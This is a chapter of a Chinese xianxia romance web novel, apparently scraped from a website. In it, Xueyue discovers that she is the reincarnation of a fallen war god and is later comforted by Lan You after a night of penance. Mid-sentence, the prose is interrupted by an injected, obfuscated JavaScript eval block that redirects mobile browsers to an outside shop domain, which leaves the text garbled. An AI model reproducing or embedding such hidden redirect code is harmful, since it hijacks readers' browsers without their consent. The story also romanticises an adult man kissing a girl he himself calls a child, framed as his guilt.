晨光洒进庙内,淅淅沥沥落到草堆旁。
蓝幽垂眸坐在墙角,低头看着在他膝上酣睡的少女。他挪了挪披在她身上的外衣,把她的脸露了出来,又抬手为她挡下了一片刺眼的日光。
他眼底发青,一夜未眠。
关于吻她这件事,他反复琢磨一个晚上也没能想明白。他把理由归咎于冲动、报复心作祟,然而没有一条可以说服自己。
他要疯了。
他真的爱上她了吗?什么时候?为什么?
他这种人竟然还会有爱?
蓝幽抬手在她发间轻抚,那柔软的触感让他的心发颤。他忍不住又瞄了眼她,她尚未褪去稚气,脸上还有婴儿肥。
当视线停在她发肿的唇瓣上时,他做贼心虚似的收回了目光。
面对一个这么小、连接吻都不会的孩子,他主动吻她了,还……
她还是个孩子,一时冲动吻他算不了什么。但他不一样,他对一个孩子做这种事,他实在是畜生不如。
他忽然抽动嘴角,露出一个讥讽又畸形的笑。
他难道是什么好人吗?他手上沾染了无数人的鲜血,背负数不清的罪孽,如今竟会因为吻了一个女孩如此自责。
他的脑海乱作一团,像一团理不清的毛线,剪不断、理还乱。
“唔。”
雪月呼吸变得急促,唇间不断发出痛苦的呜咽声,打断了他的思绪。
她猛然起身,指尖扣紧了他的大腿,面对着他大口喘气,目光充斥着惊愕与后怕。
蓝幽抬袖轻轻拂过她鬓边的密汗,理了理她睡乱的头发,柔声道:“做噩梦了?”
雪月深吸口气,点头,又摇头。
“做了一个奇怪的梦。”她起身,指着堂上供奉的巨大石像,“它好像给我托梦了。”
“托梦?”
雪月领着他走到石像前:“蓝幽,你可知道凌霄战神?”
蓝幽微微一怔,回答:“古籍对其记载寥寥,只留一语:‘凌霄战神叛神负天,遭帝惩处,黜落堕神,永绝神途。’”
“永绝神途……”她茫茫重复着这句话。
“依你所言,此石像供奉的可是凌霄战神?”
“应当是。”她挪开了香案,仰头直视着那尊石像,“我梦到了凌霄战神被诛陨神台的画面,很奇怪……”
她抬手抚摸着石像底部,一种强烈的熟悉感涌上心头,吸引着她靠近。她用力将灰尘擦净,慢慢地用指甲去扣石像的表层。
好不容易,终于碎出一道小口,从那里发出了耀眼的金光。
二人都惊住了。
石像里面,竟然是黄金。
雪月朝后退了几步,掐诀念道:“破!”
随着漫天糊鼻子的灰尘和石块散落,石像底下暗藏的黄金塑像终于重见天日。
神像约莫七、八丈之高,散发出暗金冷芒,古老而肃穆,金贵而沉重。通过外表的温润色泽,大概也能猜出里面也是由纯金打造。
一个背天叛地的堕神,何德何能得如此金身?
二人仰望神像,目光是藏不住的怔愕。
倒不是因为神像的塑造有多奢华,而是因为那张脸。
凌霄战神的脸,和雪月的一模一样。
与昔日访蓬莱秘境,前世镜中所见容颜,分毫不差。
她大脑嗡嗡作响,空白一片。
一瞬间,多年来的疑惑都得到了解答:
为何灾灵会选她做宿主?
为何天帝首次下凡为宿主进行封印仪式?
为何她突破如此迅速?
为何她能拔出乾坤剑?
为何虚旻上神看着她的眼神带着杀意?
为何天雷足足有二十道?
……
一切的一切,都是因为她的身份——罪孽深重的凌霄战神的转世。
蓝幽不再看神像,侧目观察着她的反应。
雪月闭眸,长舒口气:“蓝幽,我是不是根本不可能成神?”
“按古籍所言,凌霄战神永绝神途。”
雪月冷笑一声。
对于修士而言,成神便是终极目标。她这么多年拼命苦练,为的就是成神。每一次进步与突破,她都朝愿景更进一步。
如今,所有的一切告诉她,她不可能成神。
哪怕化神历劫,也不可能登上神位。
她突然惘然,不知现今该做些什么。
她因为逆天命救临安已然背负因果,如今又因前世罪恶失去成神的资格,那现在的她又该做什么?
雪月开口:“蓝幽,你说我这一世,是不是来赎罪的?”
“你是你,凌霄战神是凌霄战神。”
雪月眼眶通红,看着他的目光变得委屈痛苦。
他走上前握住她的手,像昔日里她安抚他那样。
雪月顺势躲入他怀中,在他胸口蹭了又蹭,像幼猫在标记气味那样。
依偎片刻,蓝幽问她:“还修炼吗?”
雪月脱离他的怀抱,鼻头红红的,但语气坚定:“修!哪怕不能成神,我也要修炼。我要成为仙界第一剑修!”
闻言,蓝幽勾唇轻笑。
雪月转身,面对神像。
居然有人愿意以黄金为凌霄战神塑像,还为了防止神像被窃取,故意用石头包裹,只为让它久久留存于此。
她凝神掐诀,在金像上镀了一层石头,让它恢复到了初见时的样子,并下了一层禁咒,使寻常人无法因欲生念盗取黄金。
一切做完,她看着蓝幽笑道:
“走吧。”
——
传送阵加上御剑,终于在未时到达剑雪山门。
途中她终于翻阅那些玉简和传音咒,子渊等人的责骂声从中传出。她尴尬地看了眼蓝幽,他面无表情,她才继续听。
虽然被劈头盖脸训了一顿,但也是关心居多。
几人是进了宗门才发现替身的事,届时想回去寻她已经晚了。凌玄长老严令喝止他们出门,并且施加了更为严重苛刻的禁制,纵有半点欲念都会被鞭策。
他们只能不停地发玉简,询问雪月的情况,她这才得闲一一回复。
到了山门前,雪月恋恋不舍地朝蓝幽奋力一抱,又一步三回头地进了宗门。最后一眼看他,他离得好远好远,样子已经模糊,带着几分落寞。
回宗门第一件事,便是去寻凌玄长老请罪。
凌玄看到她十分意外,有心疼也有斥责,最后凝成紧皱的眉头和严厉的喝声。
她足足被训了一个时辰,最后得到的惩罚是去祠堂跪六个时辰。
剑雪宗的祠堂名唤“溯源堂”,牌匾由开派祖师亲手着墨。堂内整整齐齐摆放着历代宗主和长老的牌位,另有专
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525385|203464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门区域供奉宗门内牺牲的杰出弟子。
两列长明烛台分立阶下,灯火昼夜不熄,淡青烟缕缓缓上浮。檀香清苦绵长,随吹过的微风萦绕在堂内,久久不衰。
雪月恭敬地跪在牌位前。
“你比我想象的还要冲动,凡人而已,值得你以命相护?”子渊不知何时进来。
“值得。”
子渊沉默,他想说些什么,却开不了口。索性走到了父母牌位前,虔诚上了柱香后便离开了。
后来,姜泓、隐梅等人也来慰问她,她摆出一副安然模样,与几人款款而谈,她们才放心离去。
夜色深如墨,唯堂内灯火通明,光线虚影晃晃,为祠堂添上几分肃穆与沉重。时而凉风穿堂漫卷而入,烛火跳跃,殿内悬挂着的素色绢布与祭祖魂幡摩挲作响。
雪月已经跪了五个时辰,早已疲惫不堪,膝下隐隐作痛。她忍不住闭眼泛起困来,但突然闯入的寒风洗脱了她的睡意。
她调整了姿势,继续跪着。
一直到寅时,这场惩罚才结束。
雪月浑身乏力,四肢冰凉,膝盖酸胀沉重。她双手撑着地,艰难地强行起身,每动一下都牵扯到了那处的酸痛感。
“嘶——”她忍不住发出痛音,又狼狈跪了回去。
双腿陡然被一只有力的手穿过,她忽然被抱入一个熟悉的怀抱中。
“蓝幽?”
对方不语,将她抱出了祠堂。
外边夜色深沉,凉风习习,月光微弱,早无半点人迹。
她在他怀中挪了挪,双手环在他脖子上,笑道:“蓝幽,你这般大张旗鼓,不怕被弟子们发现,把你抓起来吗?”
“他们早就歇下了。”他语气淡然。
蓝幽带她回到住处,将她放在床上。
“腿伸直。”
雪月疑惑,但也听话做了。
蓝幽坐在她床沿,用手轻轻在她膝盖上打着圈,她痛得直吸气。
“忍忍。”
“哦。”
他手法专业,揉起来力道十足,初时免不了疼痛,但一刻钟下来,确实舒服了些许,膝盖也没那么疼了。
她脸陷在被子上,偷偷去看他。
蓝幽低首,全神贯注地做着手中的事情,极为认真,像极了他浇花时候的样子。
他的睫毛好长,垂下来像把小扇子,雪月盯着他的眼睛看。乌黑的房间,他眼中映着烛火,像点点碎星,时闪时灭。
“试试屈腿。”
雪月半天没有动作,他看了她一眼,她才缓过神来,赶忙将腿弯曲,坐在了床沿。
双颊不知何时浮上一层红晕,她乖巧地看着他蹲在自己面前,俯身继续为她揉着膝盖。
外边天光乍现,日出东隅,光线顺着窗棂进入房间,照亮了他眼下的青紫。
雪月盯着那处看了很久,忽然鼻头发酸,久违的幸福如流水填满心间,暖得她不由得抬起双手捧住他的脸。
蓝幽本还在揉着膝盖,被她这突如其来的动作吸引了注意力,他抬头回视她的目光。她眼眶红了,眼中尽是疲惫和酸楚,还有一丝别的东西。
她忽然低头,毫无预兆地吻在了他的额头。
雪月能明显感觉到他身体僵住了,收唇时看到了他凝滞的目光和停在空中良久的右手。
她莞尔一笑:“蓝幽,谢谢你。”